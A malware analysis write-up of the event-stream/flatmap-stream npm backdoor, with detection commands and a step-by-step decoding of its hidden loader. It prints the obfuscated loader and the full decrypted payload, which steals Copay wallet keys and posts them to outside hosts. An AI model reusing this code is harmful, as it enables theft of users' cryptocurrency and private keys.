NodeJS: Event-Stream Backdoor Analysis

I - The story

On November 11th, 2018, at the “event-stream” repository there was a nickname FallingSnow saying that:

Am I affected?:

If you are using anything crypto-currency related, then maybe. As discovered by @maths22, the target seems to have been identified as copay related libraries. It only executes successfully when a matching package is in use (assumed to be copay at this point). If you are using a crypto-currency related library and if you see flatmap-stream@0.1.1 after running npm ls event-stream flatmap-stream, you are most likely affected. For example:

$ npm ls event-stream flatmap-stream

...

flatmap-stream@0.1.1

“ - Readmore (I recommend you to read the whole story said by him)

In my opinion, this is a really interesting "story" in blockchain security and hacking world in general. Backdoor?, this words is extremely attractive, and me myself always want to learn more about how attackers in the wild hiding their backdoor or make it persistently stay in the system.

If backdoor is a thing in Security, then how to hide them is an Art.

Therefore, me and my coworker decided to dive right into it in order to see what the backdoor looks like and how that guy(s) could hide them for years

II - Detection method

  1. Go to your repo and run these 2 command lines:

    for i in `find /home/isysadmin/app-prod -maxdepth 2 -type d| grep node_modules`; do cd $i; pwd;npm ls|egrep "event-stream|flatmap-stream"; done

    find /home/isysadmin/app-prod | grep yarn.lock|xargs egrep "event-stream|flatmap-stream"|grep resolved

  2. If it returns the below message, it might have been installed a vulnerable extension of event-stream

    /xxx/xxx/xxx/xxx/node_modules │ │ └─┬ event-stream@3.3.6 │ │ ├── flatmap-stream@0.1.2

III - The affected requirements.

  1. 2 extensions have been installed event-stream version 3.3.6 and flatmap-stream version 0.1.2

  2. console.log(process["env"]["npm_package_description"]) = 'A Secure Bitcoin Wallet'. This is a secret key to encrypt the malicious code

III - Reversing

Cat this file by using: cat node_modules/flatmap-stream/test/data.js

["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","XXXXX","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]; - Full here

We will see an array named module.exports contains few components. Each components has it ows purposes.

And there is a piece of codes use those afore values . Use cat index.min.js to view the code.

var Stream = require("stream").Stream;
module.exports = function(e, n) {
    var i = new Stream,
        a = 0,
        o = 0,
        u = !1,
        f = !1,
        l = !1,
        c = 0,
        s = !1,
        d = (n = n || {}).failures ? "failure" : "error",
        m = {};

    function w(r, e) {
        var t = c + 1;
        if (e === t ? (void 0 !== r && i.emit.apply(i, ["data", r]), c++, t++) : m[e] = r, m.hasOwnProperty(t)) {
            var n = m[t];
            return delete m[t], w(n, t)
        }
        a === ++o && (f && (f = !1, i.emit("drain")), u && v())
    }

    function p(r, e, t) {
        l || (s = !0, r && !n.failures || w(e, t), r && i.emit.apply(i, [d, r]), s = !1)
    }

    function b(r, t, n) {
        return e.call(null, r, function(r, e) {
            n(r, e, t)
        })
    }

    function v(r) {
        if (u = !0, i.writable = !1, void 0 !== r) return w(r, a);
        a == o && (i.readable = !1, i.emit("end"), i.destroy())
    }
    return i.writable = !0, i.readable = !0, i.write = function(r) {
        if (u) throw new Error("flatmap stream is not writable");
        s = !1;
        try {
            for (var e in r) {
                a++;
                var t = b(r[e], a, p);
                if (f = !1 === t) break
            }
            return !f
        } catch (r) {
            if (s) throw r;
            return p(r), !f
        }
    }, i.end = function(r) {
        u || v(r)
    }, i.destroy = function() {
        u = l = !0, i.writable = i.readable = f = !1, process.nextTick(function() {
            i.emit("close")
        })
    }, i.pause = function() {
        f = !0
    }, i.resume = function() {
        f = !1
    }, i
};
! function() {
    try {
        var r = require,
            t = process;

        function e(r) {
            return Buffer.from(r, "hex").toString()
        }
        var n = r(e("2e2f746573742f64617461")),
            o = t[e(n[3])][e(n[4])];
        if (!o) return;
        var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
            a = u.update(n[0], e(n[8]), e(n[9]));
        a += u.final(e(n[9]));
        var f = new module.constructor;
        f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
    } catch (r) {}
}();
root @inf - prod - eth7 - jp: /home/isysadmin / ibl - core - eth - insight - api / node_modules / flatmap - stream#

This guy was using code obfuscation to blind 2 millions download-ers. So what did he do?

In that messy code, just this function is used:

var r = require,
    t = process
function e(r) {
    return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461")),
    o = t[e(n[3])][e(n[4])];
if (!o) return
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
    a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
var f = new module.constructor;
f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
}
catch (r) {}
}()

This object: data = r(e("2e2f746573742f64617461"))

after decoded from hex to string we have:

data=r(e("/test/data"))

[e(n[3]) = t[e(“656e76”)]=evn
[e(n[4]) = t[e(“6e706d5f7061636b6167655f6465736372697074696f6e”)]=npm_package_description
o=t[e(n[3])][e(n[4]) ~ o=t["env"]["npm_package_description"] = “A Secure Bitcoin Wallet”

And the rest of code after decoded is:

var decipher = require('crypto')['createDecipher']('aes256', o), decoded = decipher.update(data[0], 'hex', 'utf8');

So decrypt decipher we have a malicious code which is able to steal user’s information data and private key who owns btc < 100 and bch>1e3.

Malicious code:

/*@@*/ ! function() {
    function e() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";

            function i(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(n), r.end()
            }

            function r(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }

            function l(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create: !1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            global.CSSMap = {}, l("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
}();

Last updated